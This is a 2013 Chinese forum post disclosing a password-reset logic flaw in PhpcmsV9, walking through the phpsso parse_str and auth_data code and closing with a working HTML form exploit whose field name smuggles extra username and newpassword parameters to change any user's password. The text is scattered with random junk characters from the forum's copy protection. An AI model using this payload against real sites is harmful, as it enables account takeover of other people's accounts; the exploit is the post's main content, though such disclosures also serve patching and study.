找回密码
 立即注册
查看: 2661|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
+ K" Y) M+ n9 j; N9 {& Z
8 r" S$ |+ R& r! r9 K
8 ^! Q: Z! Q7 [! N6 zparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);0 p8 {5 c/ v  f" h4 F- C7 _

4 K: x0 |5 ]8 x2 L. g, o! H在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
) B3 y7 ~2 h( W9 O, r5 q
" D, N$ i2 w- f) U7 ]: Z我把它留给了你们。
1 |; J0 N' m# Z$ N5 `  d% n不知道你们发现了它没有。
! O/ s$ ]8 W# i( r$ V
" N# d8 L" d) q' w5 A  v( ^我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ Y0 e2 i4 y( l* K
' R. ~1 `6 g7 P! a
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" _( N4 |8 ~9 E0 h* H' S1 D
; y7 G1 \: t! t2 s5 o3 b/ B* n0 ^) G; s也就是' y) g2 O" I) C' J$ }
; t+ ]/ M2 J( s
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
" M# h. }: ?  W- J# M# U1 ^1 [, }& f) x
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
; h  s+ s* S4 k+ w9 u2 a& U* j/ {1 j& O7 |# i, ?3 W

7 G8 R5 |: ^. l5 A) B7 H4 p" `其实我们有这样的机会,看看代码,如下:% S- P! x+ c/ B1 @$ W7 S1 g* q
  w4 _: O/ Z! p( |$ X
3 D1 N) u- r. a: G, \
public function auth_data($data) {; u4 b8 B. x/ u/ y1 H* Z3 j
                $s = $sep = '';" j; X7 Y3 M" P. \& b
                foreach($data as $k => $v) {6 C6 r+ N/ t# X' o  O0 \) }) W
                        if(is_array($v)) {7 Z. H5 f+ D8 e0 h
                                $s2 = $sep2 = '';/ G3 V6 }% v5 L: \; Z0 n
                                foreach($v as $k2 => $v2) {
9 W9 g! g3 J# l7 S6 U6 |                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);/ }& B( ?8 h6 K  y
                                        $sep2 = '&';
' K7 _/ `4 C3 X' e5 f                                }/ N; ?2 h" v7 H8 K' Z( S
                                $s .= $sep.$s2;
( Y& C% i/ v1 S                        } else {4 t7 s) K4 K1 W
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);0 k0 W5 m3 G) t) D; I
                        }  y  [, k8 J1 C- N. J  a) W% \# L& D* r
                        $sep = '&';
# X+ q9 Q5 I! k                }9 t! t) i4 }7 K3 H- @
1 G. s) `/ I7 m8 ?0 Q
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
7 S7 _/ }5 }* J                return $auth_s;0 x, h* S; }/ e/ r
        }2 N8 f. [& X+ H9 _- C5 `
/ \- c: s, t2 q6 u2 q
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
0 V  }8 i# U+ [7 J+ k* {
8 ]: o3 l6 R9 i& @* \$ F举个例子9 x( z* C; j/ D1 x4 |

  Z7 E2 W; C% r, d. p4 C$a[aaa=a&bbb] = 'a';, }; s9 |4 R3 K0 G: H
5 z+ X% X9 Y) D5 Q
会变成aaa=a&bbb=a  s$ ^5 g& I7 u: m4 U1 ?! T/ d

! _( b' [) w8 q3 }2 |8 l- z6 [明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
' V1 O* `* }$ B3 Z! T5 J. G7 y1 u1 R
这个时候,我们可以再去看一个函数。
% F& x( c' w$ B# L% {1 {" ^1 i/ h: A
就在这个文件内:
$ ^- |# j5 p7 w0 c: j. }( i9 ~4 W! T2 N1 d( o9 ]2 h
$ l9 w( Z& O* @( [: B; J" c. }
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {3 X. o  L+ u/ L) ]2 X4 @
                if($email && !$this->_is_email($email)) {
( L+ Q9 f; a4 C- n7 `0 p/ F: M                        return -4;# M1 C5 u& k6 r" M' A
                }8 I& c' M2 a2 p* Y1 Q
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! a; \5 W8 h7 \  C" d* B        }) X7 k- _# H' z0 E
# \( R4 g5 d. k3 [  k) n
这是向通行证发了这样一个请求。7 [: ]" B, Y, x* k. M+ y

1 U3 v- m# e1 r# d2 N我们再跟到通信证代码里去看看,就会有所发现。. |! m4 {% f( a" K7 A' _
: c/ e5 W/ T" [, S  X( Q7 F
1 A* N* L9 G( y! U' @
public function edit() {
, Y5 p* e2 @3 G6 ]( n, w//能省就省,太长了不是吗?
6 {: R: @+ P; y( w+ \" _/ k
  \7 @0 L, n( i4 z- w# Mif($this->username) {
, N* |  o4 L" h- n//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! v# q. W" `5 _, }$ z0 S- o, D                                $res = $this->db->update($data, array('username'=>$this->username));
6 h8 q% e2 h$ X; u) x                        } else {
/ h) K4 Q& c' N                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);4 I% F+ n, M/ [& o4 k! ^
                                $res = $this->db->update($data, array('uid'=>$this->uid));
$ c7 P2 t/ w9 @) k4 V( f7 k; f                        }
# w$ N& k: N$ g, e9 |# ?: V* g
, a8 }: s: u9 k8 w好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:: |9 M& X5 h$ s5 a/ l6 x8 F) m

6 I' Y3 s4 \1 z: K: |public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
8 p7 R5 n* \/ \' Q" _2 f2 M' o  @! {" B* V) [! h
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。3 B6 ?) a8 Z5 K! W  t
8 f2 c  V/ {) z) U9 c, F& A
我当然找到了:
* T9 g6 b1 M+ H4 jphpcms9/phpcms/modules/member/index.php6 u: M. A+ h, u+ N% E' O

0 ^- I( D9 |  U# ^9 |$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
# w9 L6 p1 s1 ^. u
* g, ?" S. w  f1 x然后就没有然后了。
0 b3 N" g. b8 _3 Y# M3 j" b# s
- N% q3 D! e' a  }<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
7 [% K: D  ^) m4 k  s- n7 [                                <table width="100%" cellspacing="0" class="table_form">
% ?* g9 F& l1 w9 e                                        <tr>
4 q5 l) u# U: I  ~+ Q6 f* z                                                <th width="80">邮箱:</th>        
! ^7 Q. u) A3 S0 w7 U% }5 o3 A                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
( L3 o- ?% T) \0 S5 N& U                                        </tr>: b) ^+ E/ l5 @; u
                                        <tr>7 l; G5 _: c0 Q/ g
                                                <th width="80">原密码:</th>        
2 R  r& f* |. E1 y$ q                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
* f+ O1 M8 y7 u" H& i8 b8 j5 x                                        </tr>
$ h3 \' i. d# y& P& t                                        <tr>
$ r7 L- H# Z, }7 S% f; T                                                <th>新密码:</th>
$ S5 f' |/ ?5 z( U1 r1 G& l0 O                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
' a! R2 b6 w5 v5 ~                                        </tr>
2 K1 r3 W8 N9 u* g. f! }4 h0 K4 f; L                                        <th></th>
1 j5 Z. Z  s7 f3 J  j                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>/ ?  b" h/ s2 b4 }1 |
                                        </tr>5 y' J; ]* L. f' F2 j
                                </table>8 C8 {% S7 W4 L7 X
6 I) _" k! ]# j( ?0 j( \- |
                               
& @5 q$ c- h/ Z# ?3 i$ x% h- K                        </form>
& ?# m  @3 F' }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表